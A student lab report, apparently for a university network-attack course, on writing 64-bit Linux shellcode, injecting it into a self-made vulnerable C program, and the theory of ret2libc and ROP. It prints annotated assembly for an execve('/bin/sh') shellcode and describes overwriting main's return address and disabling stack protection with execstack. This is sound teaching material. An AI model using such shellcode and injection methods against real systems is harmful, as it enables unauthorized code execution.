20175314 2020-3 《网络对抗技术》Exp1Plus 逆向进阶 Week3
目录
一、实践内容
Task1 (5-10分)
- 自己编写一个64位shellcode(参考shellcode指导)。
- 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。
Task 2 (5-10分)
- 进一步学习并做ret2lib及rop的实践,以绕过“堆栈执行保护”(参考ROP)。
Task 3 (5-25分)
- 可研究实践任何绕过前面预设条件的攻击方法;可研究Windows平台的类似技术实践。
- 或任何自己想弄明白的相关问题。包括非编程实践,如:我们当前的程序还有这样的漏洞吗?
二、基础知识
安装必要软件包
- root用户权限下
apt-get install gcc-multilib//安装gcc-multilib(生成多平台代码)
apt-get install wxhexeditor//安装wxhexeditor(16进制文本编辑器)
预备知识
-
在开始前学习并实践Shellcode基础
-
非常好用的Shellcode生成器
-
ROP全称为
Retrun-oriented Programmming
(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码,ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。不同于return-to-libc攻击
(攻击者不需要可执行的栈,甚至不需要shellcode,通过将程序的控制权跳转到系统自己的可执行代码),R0P攻击攻击之处在于以ret指令结尾的函数代码片段,而不是整个函数本身去完成预定的操作。- 从广义角度讲,
return-to-libc攻击
是ROP攻击
的特例。 - 最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构。
- 与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术。
- 从广义角度讲,
实践原理
-
Linux下ELF格式
-
重写shellcode汇编代码:shellcode要将字符串
/bin/sh
作为参数传递,shellcode被写入缓冲区后,代码的位置是不固定的,因为call指令执行的第一个动作就是将下一条指令的地址压栈,所以利用call指令能够得到/bin/sh
这个字符串,我们把字符串安排在call指令后,目的就是要把它压入栈中。 -
ROP的核心思想:
- 攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段
gadget
,这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。 - 操作系统通过栈来进行函数的调用和返回,函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分,在Linux中 ,通过
%esp
和%ebp
寄存器维护栈顶指针和栈帧的起始地址,%eip
是程序计数器寄存器。 - 而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程的流程,执行相应的
gadget
,实施攻击者预设目标。
- 攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段
二、实验步骤
1、Task1
-
1、使用
vim
编写shellcode.c
-
2、
gcc -o shellcode shellcode.c
编译生成可执行文件,执行查看效果
-
3、
objdump -d shellcode > shellcode.s
生成反汇编代码,找到main函数
-
4、参照上面的反汇编代码使用
vim
重新编写scode.s
as -o scode.o scode.s //编译
ld -o scode scode.o //连接
./scode //运行
以上汇编代码的解释
jmp cl #跳到cl标签处,即call pp
call pp #将字符串压栈,同时返回到上面pp标签处
popq %rcx #将字符串/bin/sh的地址存入rcx(通用寄存器,也可以选择其他寄存器)
pushq %rbp #本条指令及以下两条指令都是在建立一个新的栈空间
mov %rsp, %rbp #真正注入的shellcode代码可以不用创建这个栈
subq $0x20, %rsp #但是bin/sh字符串是放在了代码段里不允许修改的空间
movq %rcx, -0x10(%rbp) #将字符串复制到栈
movq $0x0,-0x8(%rbp) #创建调用exec时的参数name[1],将它置0
lea -0x10(%rbp), %rsi #这是execve第二个参数,它需要**类型,所以用lea传送地址给rsi
mov -0x10(%rbp), %rdi #mov将字符串传给rdi,这是execve第一个参数
mov $59, %rax #59是execve的系统调用号,在/usr/include/asm/unistd_64.h里可以查询到
syscall #系统调用,可以取代int 0x80
-
5、objdump反汇编scode(这里使用可以直接输出shellcode的命令)
-
6、在C语言程序中测试
因为64位系统地址宽度是64位的,所以要使用long类型
ret作为main的第一个局部变量,必定是存储在main的栈空间内
其中long * ret 这条指令占据了一个64位, 当ret地址加1(64位)时,ret就到到达栈的基址位置(rbp)
main函数的返回地址还在栈基址之上的高地址中,距离rbp还有64位宽度,所以ret需要加上2(64位),才能到达main的返回地址的保存位置
(*ret) = (long)code,用code的地址将main返回地址覆盖
-
7、测试成功
-
8、使用实验一第三个步骤的方法进行注入,结果如下
三、遇到的问题
问题:汇编报错nasm:fatal:unable to open output file
- 解决方案:路径中包含
_/+/-
等符号,重新设置路径即可编译通过
问题:C语言程序测试Shellcode段错误
- 解决方案:GDB调试看
main
函数的调用,Shellcode是以全局字符数组变量的形式存储在进程堆栈中的数据段中,数据段是没有可执行权限的,所以一旦PC寄存器进入到这里面,那么程序就会报错。用命令将要运行的程序用execstack
解除可执行栈的保护